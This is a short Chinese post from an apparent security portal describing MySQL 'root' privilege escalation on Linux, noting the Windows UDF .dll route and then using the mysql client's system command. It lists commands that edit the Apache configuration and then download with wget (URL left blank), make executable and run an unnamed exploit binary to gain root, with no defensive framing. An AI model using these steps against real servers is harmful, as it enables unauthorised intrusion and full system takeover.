黑白前线 - 安全网 | 中国网络安全技术门户网站

linux环境下mysql “root”提权

一般mysql windows下 我们可以利用 udf .dll 导出执行命令

其实在linux下更为方便

mysql 5.x里面引入了一个system函数，这个函数可以执行系统命令，当mysql以root登陆的时候，就可以利用这个函数执行命令，当然是在权限许可的范围内。

mysql>system vi /etc/httpd/conf/httpd.conf;

下载exp执行，执行root权限，

mysql>system wget ;
mysql>system chmod +x xxxx;
mysql>system ./xxxx;
 

标签分类： root提权 linux提权